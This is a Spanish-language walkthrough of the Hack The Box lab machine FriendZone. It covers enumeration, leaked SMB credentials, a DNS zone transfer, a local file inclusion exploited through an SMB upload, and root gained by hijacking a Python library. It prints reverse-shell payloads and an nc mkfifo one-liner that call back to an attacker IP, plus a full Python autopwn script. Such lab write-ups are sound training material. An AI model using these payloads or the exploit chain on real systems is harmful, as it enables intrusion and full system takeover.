HTB_FriendZone
FriendZone {-}
Introduccion {-}
La maquina del dia se llama FriendZone.
El replay del live se puede ver aqui
No olvideis dejar un like al video y un commentario…
Enumeracion {-}
Reconocimiento de maquina, puertos abiertos y servicios {-}
Ping {-}
ping -c 1 10.10.10.123
ttl: 63 -> maquina Linux
Nmap {-}
nmap -p- --open -T5 -v -n 10.10.10.123
Va lento
nmap -sS -p- --open --min-rate 5000 -vvv -n -Pn 10.10.10.123 -oG allPorts
extractPorts allPorts
nmap -sC -sV -p21,22,53,80,139,443,445 10.10.10.123 -oN targeted
Puerto | Servicio | Que se nos occure? | Que falta? |
---|---|---|---|
21 | ftp | Conneccion como anonymous | |
22 | tcp | Conneccion directa | creds |
53 | domain | axfr attack | ip y domain |
80 | http | Web, Fuzzing | |
139 | Samba | Coneccion con null session | |
443 | https | Web, Fuzzing | |
445 | Samba | Coneccion con null session |
Coneccion ftp como anonymous {-}
ftp 10.10.10.123
Name: anonymous
Password:
#Output
Login failed
Checkeamos el certificado ssl {-}
openssl s_client -connect 10.10.10.123:443
Aqui vemos un un correo haha@friendzone.red
. Añadimos el dominio friendzone.red al /etc/hosts
.
Analyzando la web {-}
Whatweb {-}
whatweb http://10.10.10.123
Es un Apache 2.4.29 en un Ubuntu y podemos ver un nuevo dominio friendzoneportal.red
que añadimos al /etc/hosts
.
Checkear la web {-}
Si entramos en la url https://10.10.10.123
, No vemos gran cosas.
Si vamos por la url https://friendzone.red
vemos una nueva web, mirando el codigo fuente, vemos un comentario sobre un directorio
/js/js
y si vamos por la url https://friendzone.red/js/js
vemos una especie de hash en base64 que intentamos romper con el comando
echo "MTZaVFhRMDBrSTE2MzUxMDgwMzRieUxPVHlmdGkz" | base64 -d | base64 -d
pero no nos da gran cosa. Si miramos la url https://friendzoneportal.red
,
vemos otra imagen pero tampoco vemos gran cosa en este caso.
Analyzando el SAMBA {-}
crackmapexec smb 10.10.10.123
smbclient -L 10.10.10.123 -N
Aqui el smbclient nos dice que estamos frente una maquina Windows 6.1 aun que sabemos que la maquina victima es un linux.
Vemos recursos compartidos a nivel de red como:
- print$
- Files
- general
- Development
- IPC$
Usando de la heramienta smbmap, podemos ver si tenemos accessos a estos recursos.
smbmap -H 10.10.10.123
y vemos que denemos accesso con derecho de lectura al directorio general
y derechos de lectura y escritura al directorio development
.
Vamos a conectarnos para ver lo que hay por estos registros
smbclient //10.10.10.123/general -N
dir
Vemos un fichero creds.txt y nos lo descargamos con el commando get creds.txt
.
Miramos si nos podemos conectar con ssh admin@10.10.10.123
pero no podemos y miramos si tenemos accesso a mas registros.
smbmap -H 10.10.10.123 -u 'admin' -p 'WORKWORKHhallelujah@#'
Ataque de transferencia de zona con Dig {-}
dig @10.10.10.123 friendzone.red
dig @10.10.10.123 friendzone.red ns
dig @10.10.10.123 friendzone.red mx
dig @10.10.10.123 friendzone.red axfr
El ataque de transferencia de zone nos permite ver una serie de subdominios como.
- administrator1.friendzone.red
- hr.friendzone.red
- uploads.friendzone.red
los introducimos en el /etc/hosts
y lo analyzamos en firefox.
Checkeamos los nuevos dominios {-}
Podemos ver que el https://hr.friendzone.red
no nos muestra nada.
La url https://uploads.friendzone.red
nos envia a una pagina donde podemos uploadear imagenes y la url
https://administrator1.friendzone.red
nos muestra un panel de inicio de session.
Como hemos encontrado credenciales con smb, intentamos conectarnos desde el panel de inicio de session y estas credenciales son validas.
Aqui vemos que existe un fichero dashboard.php
. Si vamos a la url https://administrator1.friendzone.red/dashboard.php
, tenemos un mensaje que
dice que el falta el parametro image_name y que por defecto, necesitamos poner image_id=a&pagename=timestamp
. Intentamos la url siguiente:
https://administrator1.friendzone.red/dashboard.php?image_id=a&pagename=timestamp
Aqui nos aparece una nueva pagina. Nos llama la atencion el parametro pagename y intentamos cosas
https://administrator1.friendzone.red/dashboard.php?image_id=a&pagename=timestamp
https://administrator1.friendzone.red/dashboard.php?image_id=a&pagename=timestam
https://administrator1.friendzone.red/dashboard.php?image_id=a&pagename=dashboard.php
https://administrator1.friendzone.red/dashboard.php?image_id=a&pagename=dashboard
https://administrator1.friendzone.red/dashboard.php?image_id=a&pagename=/../../../../../etc/passwd
https://administrator1.friendzone.red/dashboard.php?image_id=a&pagename=/../../../../../etc/passwd%00
Aqui hemos constatado que podemos injectar una pagina de la web en esta misma pagina y que no se necessita poner la extension que la pagina añade
.php
por si sola. Es por esto que no se puede ver el /etc/passwd
porque añade un .php
al final.
Vulnerability Assessment {-}
Subiendo ficheros por smb {-}
Cuando hemos mirado los registros compartidos a nivel de red con smbmap, hemos constatado que teniamos derechos de lectura
y de escritura al registro Development. Y esta enumeracion nos a monstrado que el registro Files esta bindeada al directorio
/etc/Files
. Esto no hace pensar que si subimos ficheros al registro Development
, puede que sea finalmente bindeada al directorio
/etc/Development
.
-
Creamos un fichero php de prueba
<?php echo "Esto es una prueba..."; system("whoami"); ?>
-
Con smbclient, subimos el fichero
put test.php
-
En el dashboard, intentamos ver si vemos la pagina
https://administrator1.friendzone.red/dashboard.php?image_id=a&pagename=/../../../../../etc/Development/test
Esto nos muestra que podemos ejecutar commandos a nivel de systema.## Vuln exploit & Gaining Access {-}
Ganando accesso con un un LFI {-}
-
Creamos un fichero reverse.php
<?php system("bash -c 'bash -i >& /dev/tcp/10.10.14.8/443 0>&1'"); ?>
-
Con smbclient, subimos el fichero
put reverse.php
-
Nos ponemos en escucha por el puerto 443
nc -nlvp 443
-
En el dashboard, intentamos ver si vemos la pagina
https://administrator1.friendzone.red/dashboard.php?image_id=a&pagename=/../../../../../etc/Development/reverse
Ya hemos ganado acceso al systema.
Tratamiento de la TTY {-}
script /dev/null -c bash
^Z
stty raw -echo; fg
-> reset
-> xterm
export TERM=xterm
export SHELL=bash
stty -a
stty rows <rownb> columns <colnb>
Creando un autopwn en python {-}
#!/usr/bin/python3
import pdb
import urllib3
import urllib
from smb.SMBHandler import SMBHandler
from pwn import *
def def_handler(sig, frame):
print("\n[!] Saliendo...\n")
sys.exit(1)
# Ctrl+C
signal.signal(signal.SIGINT, def_handler)
# Variables globales
login_url = "https://administrator1.friendzone.red/login.php"
rce_url = "https://administrator1.friendzone.red/dashboard.php?image_id=a.jpg&pagename=/etc/Development/reverse"
lport = 443
def getCreds():
opener = urllib.request.build_opener(SMBHandler)
fh = opener.open('smb://10.10.10.123/general/creds.txt')
data = fh.read()
fh.close()
data = data.decode('utf-8')
username = re.findall(r'(.*?):', data)[1]
password = re.findall(r':(.*)', data)[1]
return username, password
def makeRequest(username, password):
urllib3.disable_warnings()
s = requests.session()
s.verify = False
data_post = {
'username': username,
'password': password
}
r = s.post(login_url, data=data_post)
os.system("mkdir /mnt/montura")
os.system('mount -t cifs //10.10.10.123/Development /mnt/montura -o username="null",password="null",domain="WORKGROUP",rw')
time.sleep(2)
os.system("echo \"<?php system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.8 443 >/tmp/f'); ?>\" > /mnt/montura/reverse.php")
os.system("umount /mnt/montura")
time.sleep(2)
os.system("rm -r /mnt/montura")
r = s.get(rce_url)
if __name__ == '__main__':
username, password = getCreds()
try:
threading.Thread(target=makeRequest, args=(username, password)).start()
except Exception as e:
log.error(str(e))
shell = listen(lport, timeout=20).wait_for_connection()
shell.interactive()
Userpivoting {-}
grep "sh$" /etc/passwd
pwd
ls -l
cat mysql_data.conf
Vemos la contraseña del usuario friend y nos podemos convertir con el comando su friend
y leer la flag.
Privilege Escalation {-}
Rootear la maquina {-}
id
sudo -l
uname -a
find \-perm -4000 2>/dev/null
No vemos nada interesante por aqui. Miramos si existen tareas que se ejecutan a interval regulares de tiempo.
cd /dev/shm/
nano procmon.sh
#!/bin/bash
old_process=$(ps -eo command)
while true; do
new_process=$(ps -eo command)
diff <(echo "$old_process") <(echo "$new_process") | grep "[\>\<]" | grep -v -E "procmon|command"
old_process=$new_process
done
Le damos derechos de ejecucion y lo lanzamos. Si esperamos un poco, podemos ver que hay una tarea que se ejecuta lanzando un script en python.
ls -l /opt/server_admin/reporter.py
cat /opt/server_admin/reporter.py
Vemos que no lo podemos tocar.
Library Hijacking {-}
Vemos que el script no hace nada en concreto. Solo importa la libreria os y almacena dos variables y le hace un print.
-
Miramos el orden de busqueda del import de python
python > import sys print sys.path
Aqui vemos que busca primeramente en el directorio actual de trabajo y despues en
/usr/lib/python2.7/sys.py
-
Miramos nuestros derechos en la carpeta
/usr/lib/python2.7
locate os.py ls -l /usr/lib/ | grep "python2.7"
Vemos que tenemos todo los derechos en esta carpeta
-
Alteramos el fichero os.py
cd /usr/lib/python2.7 nano os.py
Al final de este fichero, añadimos el comando siguiente
system("chmod 4755 /bin/bash")
-
Monitorizamos la /bin/bash
watch -n 1 ls -l /bin/bash
Vemos que aparece un s
en la /bin/bash
bash -p
whoami
#Output
root
cd /root
cat root.txt
Ya podemos leer el root.txt